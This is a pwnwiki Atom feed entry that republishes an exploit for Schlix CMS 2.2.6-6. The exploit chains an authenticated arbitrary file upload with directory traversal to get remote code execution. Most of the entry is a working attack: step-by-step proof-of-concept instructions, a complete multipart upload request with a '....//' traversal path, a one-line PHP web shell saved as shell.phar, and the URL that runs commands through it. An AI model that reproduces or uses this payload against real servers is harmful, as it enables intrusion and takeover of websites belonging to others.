<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Schlix_CMS_2.2.6-6_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%26RCE%E6%BC%8F%E6%B4%9E</id>
	<title>Schlix CMS 2.2.6-6 任意文件上傳&amp;目錄遍歷&amp;RCE漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Schlix_CMS_2.2.6-6_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%26RCE%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Schlix_CMS_2.2.6-6_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%26RCE%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-26T08:28:01Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Schlix_CMS_2.2.6-6_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%26RCE%E6%BC%8F%E6%B4%9E&amp;diff=3244&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Schlix CMS 2.2.6-6 - Arbitary File Upload And Directory Traversal Leads To RCE (Authenticated) # Date: 21.05.2021 # Exploit Author: Emir Polat #...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Schlix_CMS_2.2.6-6_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%26RCE%E6%BC%8F%E6%B4%9E&amp;diff=3244&amp;oldid=prev"/>
		<updated>2021-05-24T08:31:30Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Schlix CMS 2.2.6-6 - Arbitary File Upload And Directory Traversal Leads To RCE (Authenticated) # Date: 21.05.2021 # Exploit Author: Emir Polat #...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Schlix CMS 2.2.6-6 - Arbitary File Upload And Directory Traversal Leads To RCE (Authenticated)&lt;br /&gt;
# Date: 21.05.2021&lt;br /&gt;
# Exploit Author: Emir Polat&lt;br /&gt;
# Vendor Homepage: https://www.schlix.com/&lt;br /&gt;
# Software Link: https://www.schlix.com/html/schlix-cms-downloads.html&lt;br /&gt;
# Version: 2.2.6-6&lt;br /&gt;
# Tested On: Ubuntu 20.04 (Firefox)&lt;br /&gt;
&lt;br /&gt;
############################################################################################################&lt;br /&gt;
&lt;br /&gt;
Summary: An authorized user can upload a file with a .phar extension&lt;br /&gt;
to a path of his choice and control the content as he wishes. This causes RCE vulnerability.&lt;br /&gt;
&lt;br /&gt;
For full technical details and source code analysis:&lt;br /&gt;
https://anatolias.medium.com/schlix-cms-v2-2-6-6-c17c5b2f29e.&lt;br /&gt;
&lt;br /&gt;
############################################################################################################&lt;br /&gt;
&lt;br /&gt;
PoC:&lt;br /&gt;
&lt;br /&gt;
1-) Login to admin panel with true credentials and go to &amp;quot;Tools -&amp;gt;&lt;br /&gt;
Mediamanager&amp;quot; menu from left side.&lt;br /&gt;
&lt;br /&gt;
2-)  Click the &amp;quot;Upload File&amp;quot; and upload a file and catch the request with Burp.&lt;br /&gt;
&lt;br /&gt;
3-) Change the &amp;quot;uploadstartpath&amp;quot;, &amp;quot;filename&amp;quot; and file content as follows.&lt;br /&gt;
&lt;br /&gt;
# Request&lt;br /&gt;
&lt;br /&gt;
POST /schlix/admin/app/core.mediamanager?&amp;amp;ajax=1&amp;amp;action=upload HTTP/1.1&lt;br /&gt;
Host: vulnerable-server&lt;br /&gt;
Content-Length: 846&lt;br /&gt;
X-Schlix-Ajax: 1&lt;br /&gt;
X-Requested-With: XMLHttpRequest&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)&lt;br /&gt;
Content-Type: multipart/form-data;&lt;br /&gt;
boundary=----WebKitFormBoundarybllOFLruz1WAs7K2&lt;br /&gt;
Accept: */*&lt;br /&gt;
Origin: http:// &amp;lt;http://10.211.55.4/&amp;gt;vulnerable-server&lt;br /&gt;
Referer: http://vulnerable-server/schlix/admin/app/core.mediamanager&lt;br /&gt;
&amp;lt;http://10.211.55.4/schlix/admin/app/core.mediamanager&amp;gt;&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
Accept-Language: en-US,en;q=0.9&lt;br /&gt;
Cookie: core-mediamanager_currentCategory=%2Fmedia%2Fpdf;&lt;br /&gt;
schlix-your-cookie;__atuvc=5%7C20;&lt;br /&gt;
schlix_frontendedit_control_showblock=-2;&lt;br /&gt;
schlix_frontendedit_control_showhide=-2;&lt;br /&gt;
schlix_frontendedit_control_showdoc=-2&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
------WebKitFormBoundarybllOFLruz1WAs7K2&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;_csrftoken&amp;quot;&lt;br /&gt;
&lt;br /&gt;
{your_csrf_token}&lt;br /&gt;
------WebKitFormBoundarybllOFLruz1WAs7K2&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;uploadstartpath&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/media/docs/....//....//....//....//system/images/avatars/large/&lt;br /&gt;
------WebKitFormBoundarybllOFLruz1WAs7K2&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;filedata[]&amp;quot;; filename=&amp;quot;shell.phar&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?PHP system($_GET['rce']);?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
------WebKitFormBoundarybllOFLruz1WAs7K2&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;MAX_FILE_SIZE&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2097152&lt;br /&gt;
------WebKitFormBoundarybllOFLruz1WAs7K2&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;filedata__total_file_size&amp;quot;&lt;br /&gt;
&lt;br /&gt;
0&lt;br /&gt;
------WebKitFormBoundarybllOFLruz1WAs7K2&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;filedata__max_file_count&amp;quot;&lt;br /&gt;
&lt;br /&gt;
20&lt;br /&gt;
------WebKitFormBoundarybllOFLruz1WAs7K2--&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4-) Go to &amp;quot;vulnerable-server/schlix/system/images/avatars/large/shell.phar?rce=ls&amp;quot;.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>